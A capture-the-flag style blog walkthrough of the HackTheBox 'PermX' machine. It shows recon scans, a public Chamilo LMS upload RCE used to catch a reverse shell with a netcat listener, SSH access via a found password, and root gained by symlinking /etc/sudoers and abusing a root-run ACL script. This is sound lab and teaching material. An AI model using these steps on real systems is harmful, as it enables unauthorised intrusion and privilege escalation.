Post

HackTheBox: PermX

Hack The Box - PermX Machine Card

PermX is a Linux based system that is part of HackTheBox Season 5. This was my first attempt at a seasonal box, and honestly, it was the first HTB box I had attempted in quite a long time.

The box is rated as “Easy” and I agree with that rating. I missed one item early on that would have reduced the total time to compromise, but once I was back on track it’s a pretty straightforward box.

Let’s start at the beginning.

Nmap scan of all ports to start enumerating the system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.94SVN scan initiated Tue Jul  9 15:31:44 2024 as: nmap -vvv -sCV -p- -T4 -oA permx-nmap 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up, received syn-ack (0.014s latency).
Scanned at 2024-07-09 15:31:44 EDT for 13s
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
|   256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Located ports 22 and 80 as open

Ran nmap with script options to check for any known vulnerabilities

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ nmap -vvv -T4 -p 22,80 --script vuln 10.10.11.23

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter:
|
|_    Couldn't find a file-type field.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
| http-enum:
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|_  /lib/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|_http-csrf: Couldn't find any CSRF vulnerabilities.

The nmap scans produced some interesting information:

We have located a possible host header to enter into /etc/hosts file: http://permx.htb

1
http-title: Did not follow redirect to http://permx.htb

Nmap script scan found some potentially interesting directories that we should review:

1
2
3
4
5
| http-enum:
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'
|_  /lib/: Potentially interesting directory w/ listing on 'apache/2.4.52 (ubuntu)'

Let’s see if we can confirm the host header by running a whatweb scan on the site:

1
2
3
└─$ whatweb http://10.10.11.23
http://10.10.11.23 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], **RedirectLocation[http://permx.htb], Title[302 Found]
http://permx.htb** [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

Looks like we’ve confirmed that http://permx.htb is a valid host header. Let’s add the this header into our /etc/hosts file and then move on to fuzzing the site with ffuf.

1
sudo nano /etc/hosts

Add the following entry to your /etc/hosts file and save the changes:

1
10.10.11.23 permx.htb

With the hosts file updated, let’s utilize ffuf to begin fuzzing the site for any interesting directories and/or files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ ffuf -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt -u http://permx.htb/FUZZ        

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 1325ms]
.htaccess [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 1328ms]
css       [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 16ms]
img       [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 13ms]
js        [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 13ms]
lib       [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 14ms]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 15ms]
:: Progress: [20476/20476] :: Job [1/1] :: 2857 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

Similar results as the Nmap script scan. Further ffuf fuzz scans of the located directories did not produce any useful information.

Time for a manual walking of the website to see if we can locate any CRUD (areas where we can create, read, update, or delete information).

Fire up Burp with intercept off and enable foxy proxy to begin the walkthrough.

Two areas to direct our attention to are the contact page and newsletter sign up.

Unfortunately for us, the contact form is broken as indicated on the site, and the newsletter sign up form does nothing.

Bummer - let’s do a quick scan of the source code on each of the sites pages looking for any possible developer comments that might reveal additional information.

Well, more like minutes, but it’s another dead end!

Heading back to our original Nmap scan results we confirm the only other open port is 22/tcp. Depending on the version running, SSH is typically not going to be the rabbit hole to go down.

1
2
3
4
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    syn-ack Apache httpd 2.4.52

With not much else to go on at this point, let’s take a shot in the dark and run the service information through searchsploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Documents/htb/permx]
└─$ searchsploit OpenSSH 8.9p1
Exploits: No Results
Shellcodes: No Results
Papers: No Results
           
┌──(kali㉿kali)-[~/Documents/htb/permx]
└─$ searchsploit 3ubuntu0.10  
Exploits: No Results
Shellcodes: No Results
Papers: No Results
         
┌──(kali㉿kali)-[~/Documents/htb/permx]
└─$ searchsploit Apache httpd 2.4.52
Exploits: No Results
Shellcodes: No Results
Papers: No Results

We try multiple combinations of the service information and come up empty handed. Dead end once again. No worries, just means there’s more enumeration to be done.

Our entry point has to be web related. At this point we’ve fuzzed the known host header and all found directories, but what if there are additional sites being hosted on this server using different host headers?

Back to the terminal to fire up ffuf again. This time we’re going to direct ffuf to FUZZ for header values.

1
2
──(kali㉿kali)-[~/Documents/htb/permx]
└─$ ffuf -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt -u http://10.10.11.23 -H "HOST: FUZZ.permx.htb" | grep "Status: 200"

And voila! We have two new host headers (lms and www) to add into our /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/Documents/htb/permx]
└─$ ffuf -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt -u http://10.10.11.23 -H "HOST: FUZZ.permx.htb" | grep "Status: 200"   
 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.23
 :: Wordlist         : FUZZ: /usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

lms    [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 33ms]
www   [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 15ms]
:: Progress: [20476/20476] :: Job [1/1] :: 2247 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

With the hosts file updated, let’s manually browse to these sites to see if anything different is served.

First up is www.permx.htb - this appears to be the same site as we previously discovered.

Let’s browse to lms.permx.htb. Bingo! Here’s a new site to explore. Let’s begin.

Let’s try the tried and true username/password combination of admin/admin.

Ok, that worked (scratches head).

NOTE: The username/password did not in fact work on subsequent walkthroughs. The seasonal boxes are shared systems which leads me to believe someone else was working on the box at the same time and must have changed the password. As the exploit I used is unauthenticated, this does not change the remaining steps of the write-up

Briefly walked through the application looking for any useful information to further enumerate and/or points of CRUD.

Found the version of Chamilo running is 1.11.24 per the config file.

Quick google search for any known exploits and located the following:

Chamilo LMS Unauthenticated Big Upload File RCE PoC: https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc

Cloned the repo and ran the check to determine if the site is vulnerable.

1
[+] Target is likely vulnerable. Go ahead. [+]

Set up a nc listener on attack machine port 443 and ran the PoC with revshell option.

1
2
3
4
5
6
└─$ nc -lnvp 443                                             
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.23] 42050
bash: cannot set terminal process group (1169): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ 

We now have a shell as the www-data user. Let’s see if we can access either user or root flags. No luck. Need to enumerate the box further.

Transferred linpeas to further enumerate as www-data user.

We’ve located an additional user account “mtz”

In various configuration files (ftp, mongodb) the username and password of “gaufrette” appeared. Credentials did not work on any tested services.

We’ve also located the following password which provided ssh access to the system as user “mtz”.

Now that we have SSH access to the box as user “mtz” we can grab the user.txt flag.

Can we access root.txt? No. Access is denied.

Time to further enumerate the system as mtz user.

Located an interesting file “acl.sh” located in /opt. The script will run as root and appears to set file permissions based on three inputs we provide: user, perm, and target.

The script checks to ensure that the target file exists within the /home/mtz/ directory. If the file exists there we should be able to modify the permissions.

Otherwise, we receive an “Access Denied”.

How can we (ab)use this script to escalate our privileges? Since we know the script will only work for files located within the /home/mtz/* directory, maybe we can create a symbolic link to a file that would permit us to escalate our privileges.

If we can modify the /etc/sudoers file adding an entry for mtz, we should be able to escalate our permissions to root. Checking permissions of /etc/sudoers we do not have access to modify the file.

Let’s create a symbolic link and see if we can adjust the permissions of the /etc/sudoers file.

1
ln -s /etc/sudoers /home/mtz/sudoers

We now have a link from /home/mtz/sudoers to /etc/sudoers.

The next step is to use the acl.sh script to modify the permissions of /home/mtz/sudoers file. This should adjust the permissions on /etc/sudoers providing access to add an entry for mtz.

Add entry for MTZ and save file

Time to test our changes. Enter the following into the terminal:

1
sudo su

Enter password for mtz and you should now have root access.

We have user, we have root. On to the next challenge!

This post is licensed under CC BY 4.0 by the author.